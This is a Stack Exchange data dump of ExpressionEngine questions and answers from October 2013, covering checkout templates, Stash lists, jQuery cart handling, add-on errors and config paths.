  <row Id="14773" PostTypeId="2" ParentId="14279" CreationDate="2013-10-21T05:05:44.497" Score="0" Body="&lt;p&gt;Alternatively, you can use the built-in template access control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Design &gt; Templates &gt; Template Manager&lt;/strong&gt;. You can click the &lt;strong&gt;Access&lt;/strong&gt; link on any template and define who can view this template, and there they are sent if they can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nCZMP.png&quot; alt=&quot;Template access control settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-21T05:05:44.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14774" PostTypeId="2" ParentId="14342" CreationDate="2013-10-21T05:15:59.257" Score="4" Body="&lt;p&gt;I have recently completed a build using Store 2 and Zoo Visitor, I ran into this issue but came up with a working solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    next=&quot;cart/review&quot;&#xA;    register_member=&quot;yes&quot;&#xA;    disable_javascript=&quot;yes&quot;&#xA;    require=&quot;name|order_email|address1|city|state|postcode|country&quot;&#xA;    error_handling=&quot;inline&quot; error_delimiters='&amp;lt;div&gt;|&amp;lt;/div&gt;'&#xA;}&#xA;    {if no_items}{redirect=&quot;cart&quot;}{/if}&#xA;&#xA;    {!-- Avoid issues with parse order --}&#xA;    {exp:ifelse parse=&quot;inward&quot;}&#xA;        {if logged_in}&#xA;            {exp:zoo_visitor:details {global:disable_categories}}&#xA;        {/if}&#xA;    {/exp:ifelse}&#xA;&#xA;    &amp;lt;h2&gt;Billing Information&amp;lt;/h2&gt;&#xA;&#xA;    &amp;lt;label for=&quot;billing_first_name&quot;&gt;First Name&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;billing_first_name&quot; value=&quot;{if billing_first_name}{billing_first_name}{if:elseif logged_in}{visitor:member_first_name}{/if}&quot;&gt;&#xA;    {error:billing_first_name}&#xA;&#xA;    &amp;lt;label for=&quot;billing_last_name&quot;&gt;Last Name&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;billing_last_name&quot; value=&quot;{if billing_last_name}{billing_last_name}{if:elseif logged_in}{visitor:member_last_name}{/if}&quot;&gt;&#xA;    {error:billing_last_name}&#xA;&#xA;    &amp;lt;label for=&quot;billing_address1&quot;&gt;Street address&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;billing_address1&quot; value=&quot;{if billing_address1}{billing_address1}{if:elseif logged_in}{visitor:billing_address}{/if}&quot;&gt;&#xA;    {error:billing_address1}&#xA;&#xA;    &amp;lt;label for=&quot;billing_city&quot;&gt;Suburb&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;billing_city&quot; value=&quot;{if billing_city}{billing_city}{if:elseif logged_in}{visitor:billing_city}{/if}&quot;&gt;&#xA;    {error:billing_city}&#xA;&#xA;    &amp;lt;label for=&quot;billing_state&quot;&gt;State&amp;lt;/label&gt;&#xA;    &amp;lt;select name=&quot;billing_state&quot;&gt;&#xA;        &amp;lt;option value=&quot;ACT&quot; {if (billing_state AND billing_state == &quot;ACT&quot;) OR visitor:billing_state == &quot;ACT&quot;}selected{/if}&gt;Australian Capital Territory&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;NSW&quot; {if (billing_state AND billing_state == &quot;NSW&quot;) OR visitor:billing_state == &quot;NSW&quot;}selected{/if}&gt;New South Wales&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;NT&quot;  {if (billing_state AND billing_state == &quot;NT&quot; ) OR visitor:billing_state == &quot;NT&quot; }selected{/if}&gt;Northern Territory&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;QLD&quot; {if (billing_state AND billing_state == &quot;QLD&quot;) OR visitor:billing_state == &quot;QLD&quot;}selected{/if}&gt;Queensland&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;SA&quot;  {if (billing_state AND billing_state == &quot;SA&quot; ) OR visitor:billing_state == &quot;SA&quot; }selected{/if}&gt;South Australia&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;VIC&quot; {if (billing_state AND billing_state == &quot;VIC&quot;) OR visitor:billing_state == &quot;VIC&quot;}selected{/if}&gt;Victoria&amp;lt;/option&gt;&#xA;        &amp;lt;option value=&quot;WA&quot;  {if (billing_state AND billing_state == &quot;WA&quot; ) OR visitor:billing_state == &quot;WA&quot; }selected{/if}&gt;Western Australia&amp;lt;/option&gt;&#xA;    &amp;lt;/select&gt;&#xA;    {error:billing_state}&#xA;&#xA;    &amp;lt;label for=&quot;billing_postcode&quot;&gt;Postcode&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;billing_postcode&quot; value=&quot;{if billing_postcode}{billing_postcode}{if:elseif logged_in}{visitor:billing_postcode}{/if}&quot;&gt;&#xA;    {error:billing_postcode}&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;billing_country&quot; value=&quot;AU&quot;&gt;&#xA;&#xA;&#xA;    &amp;lt;label for=&quot;billing_phone&quot;&gt;Contact Number&amp;lt;/label&gt;&#xA;    &amp;lt;input type=&quot;tel&quot; name=&quot;billing_phone&quot; value=&quot;{if billing_phone}{billing_phone}{if:elseif logged_in}{visitor:billing_phone}{/if}&quot;&gt;&#xA;    {error:billing_phone}&#xA;&#xA;    {if logged_out}&#xA;        &amp;lt;label for=&quot;order_email&quot;&gt;Email Address&amp;lt;/label&gt;&#xA;        &amp;lt;input type=&quot;email&quot; name=&quot;order_email&quot; value=&quot;{order_email}&quot;&gt;&#xA;        {error:order_email}&#xA;    {/if}&#xA;&#xA;    {!-- Avoid issues with parse order --}&#xA;    {exp:ifelse parse=&quot;inward&quot;}&#xA;        {if logged_in}&#xA;            {/exp:zoo_visitor:details}&#xA;        {/if}&#xA;    {/exp:ifelse}&#xA;&#xA;{/exp:store:checkout}&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Presentation HTML and Shipping Details removed for brevity.&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-21T05:15:59.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14775" PostTypeId="2" ParentId="11997" CreationDate="2013-10-21T05:22:25.400" Score="1" Body="&lt;p&gt;If you see this or a similar error with the double-period in the path -- &lt;code&gt;/../config/config.master.php&lt;/code&gt; -- you just need to modify the following in config.master.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;REPLACE ANY OCCURRENCE OF THIS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require $_SERVER['DOCUMENT_ROOT'] . '/../config/config.' . ENV . '.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WITH THIS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require $_SERVER['DOCUMENT_ROOT'] . '/config/config.' . ENV . '.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T05:22:25.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14776" PostTypeId="2" ParentId="11894" CreationDate="2013-10-21T05:33:53.537" Score="1" Body="&lt;p&gt;This is an odd bug that typically happens when the channel isn't assigned to a status group. So, check that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ADMIN &gt; CHANNEL ADMINISTRATION &gt; CHANNELS &gt; &quot;Edit Group Assignments&quot; for your channel &gt; assign status group&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T05:33:53.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14777" PostTypeId="1" CreationDate="2013-10-21T05:42:11.767" Score="2" ViewCount="69" Body="&lt;p&gt;To place orders or to add the items to the cart,is login required ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version: 2.6.1&#xA;Store modules version: 2.0.3&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="150" LastEditDate="2013-10-21T06:39:21.993" LastActivityDate="2013-10-21T06:39:21.993" Title="Expresso Store: Is login required to place orders?" Tags="|expresso-store|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14778" PostTypeId="2" ParentId="14777" CreationDate="2013-10-21T05:46:52.500" Score="3" Body="&lt;p&gt;No, you can allow users can &lt;a href=&quot;https://exp-resso.com/docs/settings_general.html#require_member_account_to_place_orders&quot; rel=&quot;nofollow&quot;&gt;checkout as guests&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;strong&gt;Require Member Account to Place Orders&lt;/strong&gt; in the above link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: added heading to clarify the intended reference.&lt;/p&gt;&#xA;" OwnerUserId="156" LastActivityDate="2013-10-21T05:46:52.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14779" PostTypeId="2" ParentId="14733" CreationDate="2013-10-21T06:41:49.873" Score="0" Body="&lt;p&gt;Make sure the control panel theme directory was uploaded during the upgrade. Sounds like it may not have been or the js corrupted. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-21T06:41:49.873" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14780" PostTypeId="2" ParentId="14723" CreationDate="2013-10-21T08:07:36.410" Score="2" Body="&lt;p&gt;Have you tried following the instructions here: &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/pagination_in_playa#reply_6602199&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/pagination_in_playa#reply_6602199&lt;/a&gt; ?&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-10-21T08:07:36.410" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14782" PostTypeId="2" ParentId="13472" CreationDate="2013-10-21T08:30:19.447" Score="1" Body="&lt;p&gt;Maybe the docs are just out of date. I found that it worked when I moved the tag within the results loop.&lt;/p&gt;&#xA;" OwnerUserId="2157" LastActivityDate="2013-10-21T08:30:19.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14783" PostTypeId="2" ParentId="14734" CreationDate="2013-10-21T08:59:50.813" Score="1" Body="&lt;p&gt;i normally also setup &lt;a href=&quot;http://devot-ee.com/add-ons/freeform-anti-spam&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freeform-anti-spam&lt;/a&gt; and &lt;a href=&quot;http://gotolow.com/addons/low-nospam&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-nospam&lt;/a&gt; to help.&#xA;However, spam allways gets through occasionally&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2013-10-21T08:59:50.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14785" PostTypeId="1" AcceptedAnswerId="14808" CreationDate="2013-10-21T09:22:27.287" Score="2" ViewCount="207" Body="&lt;p&gt;Since the website we're developing is &quot;donation-only&quot;, for our specific UX design, I'd like to empty the cart every time our check-out page is left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the following code and it's working, but I would like to follow the $(&quot;nav a&quot;) link, once the cart is correctly emptied.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('nav a').click(function(){&#xA;    event.preventDefault();&#xA;    $('#store input[name=&quot;empty_cart&quot;]').trigger('click');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2013-10-21T17:44:34.723" Title="Expresso Store - Empty cart when changing url" Tags="|expresso-store|jquery|redirection|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14787" PostTypeId="2" ParentId="14700" CreationDate="2013-10-21T09:43:31.297" Score="1" Body="&lt;p&gt;Ok, here is how I ended up coding this in the end:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Extended page template --}&#xA;{stash:embed name=&quot;layouts:page&quot;}&#xA;&#xA;{!-- SET Entry data --}&#xA;{exp:channel:entries disable=&quot;member_data|pagination|trackbacks&quot; channel=&quot;articles&quot; status=&quot;not closed&quot; require_entry=&quot;yes&quot; limit=&quot;1&quot;}&#xA;&#xA;    {!-- Get first 4 related items in Playa field (combined with latest article and interviews if less than 4 --}&#xA;    {exp:stash:set_list name=&quot;st_complementary_items&quot; parse_tags=&quot;yes&quot;}&#xA;&#xA;        {exp:playa:children channel=&quot;articles|interviews&quot; status=&quot;not closed&quot; limit=&quot;4&quot;}&#xA;            {stash:st_complementaryitem_title}{title}{/stash:st_complementaryitem_title}&#xA;            {stash:st_complementaryitem_date}{entry_date format=&quot;%F %d, %Y&quot;}{/stash:st_complementaryitem_date}&#xA;            {stash:st_complementaryitem_date_machine}{entry_date format=&quot;%Y-%m-%d&quot;}{/stash:st_complementaryitem_date_machine}&#xA;        {/exp:playa:children}&#xA;&#xA;    {/exp:stash:set_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;{!-- Get last 4 published articles / interviews items (completes the list if less than 4 in the Playa field  --}&#xA;{exp:channel:entries disable=&quot;member_data|pagination|trackbacks&quot; channel=&quot;articles|interviews&quot; status=&quot;not closed&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; dynamic=&quot;no&quot; limit=&quot;4&quot;}&#xA;&#xA;    {exp:stash:append_list name=&quot;st_complementary_items&quot;}&#xA;        {stash:st_complementaryitem_title}{title}{/stash:st_complementaryitem_title}&#xA;        {stash:st_complementaryitem_date}{entry_date format=&quot;%F %d, %Y&quot;}{/stash:st_complementaryitem_date}&#xA;        {stash:st_complementaryitem_date_machine}{entry_date format=&quot;%Y-%m-%d&quot;}{/stash:st_complementaryitem_date_machine}&#xA;    {/exp:stash:append_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- BUILD page content --}&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;&#xA;        {!-- get the list of related items and make it unique on the titles --}&#xA;        {exp:stash:get_list name=&quot;st_complementary_items&quot; unique=&quot;st_complementaryitem_title&quot;}&#xA;            {if count == 1}&amp;lt;ul&amp;gt;{/if}&#xA;                &amp;lt;li&amp;gt;[{count}/{total_results}] - {st_complementaryitem_title} - {st_complementaryitem_date} - {st_complementaryitem_type}&amp;lt;/li&amp;gt;&#xA;            {if count == total_results}&amp;lt;/ul&amp;gt;{/if}&#xA;        {/exp:stash:get_list}&#xA;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This ends up meeting all my requirements&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Because the set_list and append list happen in the same &quot;oignon layer&quot; and because the set_list comes first in the code, the playa items are always before the recent items in the stash list&lt;/li&gt;&#xA;&lt;li&gt;Playa items are in the order they were entered by the user and recent items are ordered by date&lt;/li&gt;&#xA;&lt;li&gt;We get rid of duplicates by using the unique parameter (set on titles) on the get_list tag pair&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I first tried to use append_lists in both cases and create a type of &quot;playa&quot; or a type of &quot;recent&quot; that I could use to sort the list when I get it to make sure playa items are always before the recent items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then, even using nested lists, I couldn't figure out a way of making the titles unique across the playa and recent entries.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-10-21T09:43:31.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14788" PostTypeId="2" ParentId="14785" CreationDate="2013-10-21T11:09:10.100" Score="2" Body="&lt;p&gt;You're close. You'll need to have the return value on the empty cart form ('form.empty-cart' in my example below) change to the href for the anchor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){&#xA;  $('nav a').click(function(event){&#xA;    event.preventDefault();&#xA;    var link = $(this).attr('href');&#xA;    $('form.empty-cart input[name=&quot;RET&quot;]').attr('value', link);&#xA;    $('#store input[name=&quot;empty_cart&quot;]').trigger('click');&#xA;  });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T11:09:10.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14789" PostTypeId="1" CreationDate="2013-10-21T11:46:02.070" Score="2" ViewCount="112" Body="&lt;p&gt;This is a large gallery selling prints at A4 and A3 at a set price for both (but I don't know the prices yet) via paypal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it needs a full store cart solution, almost an identical simple paypal button with dropdown for price modifier – but is it possible to pass a SKU to paypal in this way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What might be a tidy solution for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Bruce.&lt;/p&gt;&#xA;" OwnerUserId="1054" LastEditorUserId="1054" LastEditDate="2013-10-21T12:00:30.510" LastActivityDate="2013-10-23T20:53:40.817" Title="What is the best store solution for many items all at the same price?" Tags="|paypal|shopping-cart|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14790" PostTypeId="2" ParentId="14789" CreationDate="2013-10-21T12:10:21.507" Score="2" Body="&lt;p&gt;If you don't need a large e-commerce add-on, you might want to try the native EE &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/simple_commerce/index.html&quot; rel=&quot;nofollow&quot;&gt;Simple Commerce&lt;/a&gt; module. It can be used to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/simple_commerce/sc_cp_paypal_settings.html&quot; rel=&quot;nofollow&quot;&gt;connect to PayPal&lt;/a&gt; easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, try the newly released &lt;a href=&quot;http://devot-ee.com/add-ons/simple-cart&quot; rel=&quot;nofollow&quot;&gt;Simple Cart&lt;/a&gt; add-on.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T12:10:21.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14791" PostTypeId="1" CreationDate="2013-10-21T12:14:22.483" Score="1" ViewCount="63" Body="&lt;p&gt;I update a site to EE2.7.2 and Wygwam to 3.2.1. When I copy text form Open Office and paste it as plain text in Wygwam I always get this &quot;extra&quot; text at the top:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Version:1.0 StartHTML:0000000167 EndHTML:0000000922 StartFragment:0000000454 EndFragment:0000000906&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I was using EE2.5.3 with Wygwam 2.6.3 I never got this strange text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Francois&lt;/p&gt;&#xA;" OwnerUserId="482" LastEditorUserId="69" LastEditDate="2013-10-21T13:21:28.247" LastActivityDate="2013-10-22T18:54:18.670" Title="Strange text with Wygwam" Tags="|pixelandtonic|wygwam|expresso-toolbar|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14792" PostTypeId="2" ParentId="14750" CreationDate="2013-10-21T12:31:58.940" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;However the code I have at present does not work for ie8 and ipads etc.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are you sure that this is not a JWPlayer compatibility issue? If it works everywhere else, then it's most likely not an EE-specific issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if you just remove the playlist setting and put every other setting in a global script? Then you can assign the video url inside the EE tags like below. Is that what you're trying to do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {parents field=&quot;related_story&quot;}&#xA;   &amp;lt;div class=&quot;{switch='three columns alpha|three columns omega'}&quot;&amp;gt;&#xA;     &amp;lt;ul&amp;gt;&#xA;       &amp;lt;li&amp;gt;&#xA;         &amp;lt;strong&amp;gt;{parents:title}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;&#xA;         {parents:video}&#xA;         &amp;lt;a class=&quot;fancybox-media&quot; href=&quot;{parents:video:video_url}&quot; title=&quot;{parents:title}&quot;&amp;gt;{parents:video:video_title}&amp;lt;/a&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;&#xA;         &amp;lt;script&amp;gt;&#xA;         $(window).load(function(){&#xA;           $(&quot;a.fancybox-myths&quot;).fancybox({&#xA;             afterShow:function(){&#xA;               jwplayer(&quot;videospace&quot;).setup({&#xA;                 playlist: [{file: &quot;{parents:video:video_url}&quot;}]&#xA;               })&#xA;             }&#xA;           })&#xA;         });&#xA;         &amp;lt;/script&amp;gt;&#xA;         {/parents:video}&#xA;       &amp;lt;/li&amp;gt; &#xA;     &amp;lt;/ul&amp;gt; &#xA;     &amp;lt;div class=&quot;clear&quot;&amp;gt; &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA; {/parents}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-21T17:42:34.103" LastActivityDate="2013-10-21T17:42:34.103" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14793" PostTypeId="2" ParentId="14741" CreationDate="2013-10-21T12:46:28.357" Score="2" Body="&lt;p&gt;Edit line 11 of &lt;strong&gt;/expressionengine/third_party/matrix_url_title/ft.matrix_url_title.php&lt;/strong&gt; to start with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;abstract class Matrix_url_title_ft&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just add the word &lt;code&gt;abstract&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T12:46:28.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14794" PostTypeId="1" CreationDate="2013-10-21T12:49:18.747" Score="0" ViewCount="325" Body="&lt;p&gt;I've recently started to use PATH_THIRD_THEMES in my config file, but i was wondering if there was a community consensus on where this folder should live and be called?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/assets/third_themes&lt;br&gt;&#xA;/assets/addons&lt;br&gt;&#xA;/third_party_themes&lt;br&gt;&#xA;etc&lt;/p&gt;&#xA;" OwnerUserId="807" LastActivityDate="2013-10-23T20:35:27.260" Title="Where do you put your third party themes folder? has a community consensus been discussed?" Tags="|add-on|bestpractice|themes|" AnswerCount="2" CommentCount="1" ClosedDate="2013-10-23T21:40:38.843" ContentLicense="CC BY-SA 3.0" />
  <row Id="14795" PostTypeId="2" ParentId="14794" CreationDate="2013-10-21T13:08:31.647" Score="3" Body="&lt;p&gt;I've not seen or heard any chatter about this, but I definitely prefer to keep all directories and files which shouldn't be replaced during an EE upgrade in my /assets directory like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If I can place /system below root&lt;/strong&gt; I leave the system third_party directory there for better security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If I can't place /system below the root...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third party /system files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/assets/third_party/system/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Always&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third party /themes files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/assets/third_party/themes/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Master config settings:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['path_third_themes']   = $base_path . '/assets/third_party/themes/';&#xA;$env_config['url_third_themes']    = $base_url . '/assets/third_party/themes/';&#xA;/* If system directory is not below root, uncomment and ensure directory exists */&#xA;// $env_config['third_party_path']    = $base_path . '/assets/third_party/system/';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-21T17:17:58.910" LastActivityDate="2013-10-21T17:17:58.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14796" PostTypeId="1" CreationDate="2013-10-21T14:30:40.763" Score="1" ViewCount="508" Body="&lt;p&gt;I am finding wygwam 3.2.1 is not playing ball with EE 2.7.2 - by this i mean it's not even initializing, instead, (through console) I find I am getting a javascript error for ckeditor.js &quot;TypeError: u is undefined&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a fresh install of both EE &amp;amp; Wygwam (and Matrix 2.5.8)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any guidance would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2013-10-21T15:11:05.370" Title="Wygwam3.21 not initializing - ckeditor error: TypeError: u is undefined" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14797" PostTypeId="2" ParentId="14796" CreationDate="2013-10-21T14:36:33.807" Score="2" Body="&lt;p&gt;I have EE 2.7.2 and Wygwam 2.3.1 working fine, so there's no  bug. Try re-importing the Wygwam directories completely replacing the current ones. There may just be a corrupted or missing file.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T14:36:33.807" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="14798" PostTypeId="2" ParentId="14717" CreationDate="2013-10-21T14:53:35.450" Score="1" Body="&lt;p&gt;Freeform uses the default EE template parser so however conditionals are parsed normally should work the same in FFP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the EE template parser sometimes has quirks with conditionals. Have you tried making the variables in quotes?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if &quot;{freeform:field:r_type_of_presentation}&quot; == &quot;Roundtable&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-21T14:53:35.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14799" PostTypeId="2" ParentId="14642" CreationDate="2013-10-21T15:06:10.450" Score="1" Body="&lt;p&gt;If you use the &lt;code&gt;{exp:member:custom_profile_data}&lt;/code&gt; tag without any paramter it will automatically use the currently logged in member. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also works in the email notification.&lt;/p&gt;&#xA;" OwnerUserId="2231" LastActivityDate="2013-10-21T15:06:10.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14800" PostTypeId="1" AcceptedAnswerId="15032" CreationDate="2013-10-21T15:06:42.327" Score="2" ViewCount="354" Body="&lt;p&gt;I've send the same question on Ellislab Forum but without answers...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m testing the new &lt;strong&gt;channel form&lt;/strong&gt; and i’ve seen that if a &lt;em&gt;file field&lt;/em&gt; is flagged as &lt;strong&gt;required&lt;/strong&gt; field the form don’t pass the check.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;The form you submitted contained the following errors&#xA;The xxxx field is required.&#xA;Return to Previous Page &#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same problem also in a grid field or a matrix field that contain a column where file field is flagged as required field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I remove the flag (required field) all are ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have the same problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Expressionengine v2.7.2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Matrix v2.5.8&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is the template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:form channel=&quot;box&quot; return=&quot;box/index&quot; entry_id=&quot;{segment_3}&quot; class=&quot;channel_form&quot; include_assets=&quot;yes&quot;}&#xA;    {field:box_photohead}&#xA;    {field:box_intructions}&#xA;    &#xA;{/exp:channel:form}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="2230" LastEditorUserId="2230" LastEditDate="2013-10-22T05:53:46.620" LastActivityDate="2013-10-27T07:44:13.537" Title="Channel form problem with file fleld flagged as required" Tags="|matrix|file-uploads|channel-form|file-field|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14802" PostTypeId="1" CreationDate="2013-10-21T15:12:03.713" Score="4" ViewCount="185" Body="&lt;p&gt;I'm asking because I have roughly 30 sites, most of which were started before my tenure here, that will need to be updated if this version is as critical as they say.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is hard for me to justify the time it will take to update all of these sites (all of which are different versions of EE as well, with different server structures, et al) without knowing how crucial this fix is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found anything about it at EllisLab's blog or forum. Does anybody know?&lt;/p&gt;&#xA;" OwnerUserId="1085" LastActivityDate="2013-10-21T15:22:16.563" Title="What is the security issue that 2.7.2 solves?" Tags="|security|update|versioning|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
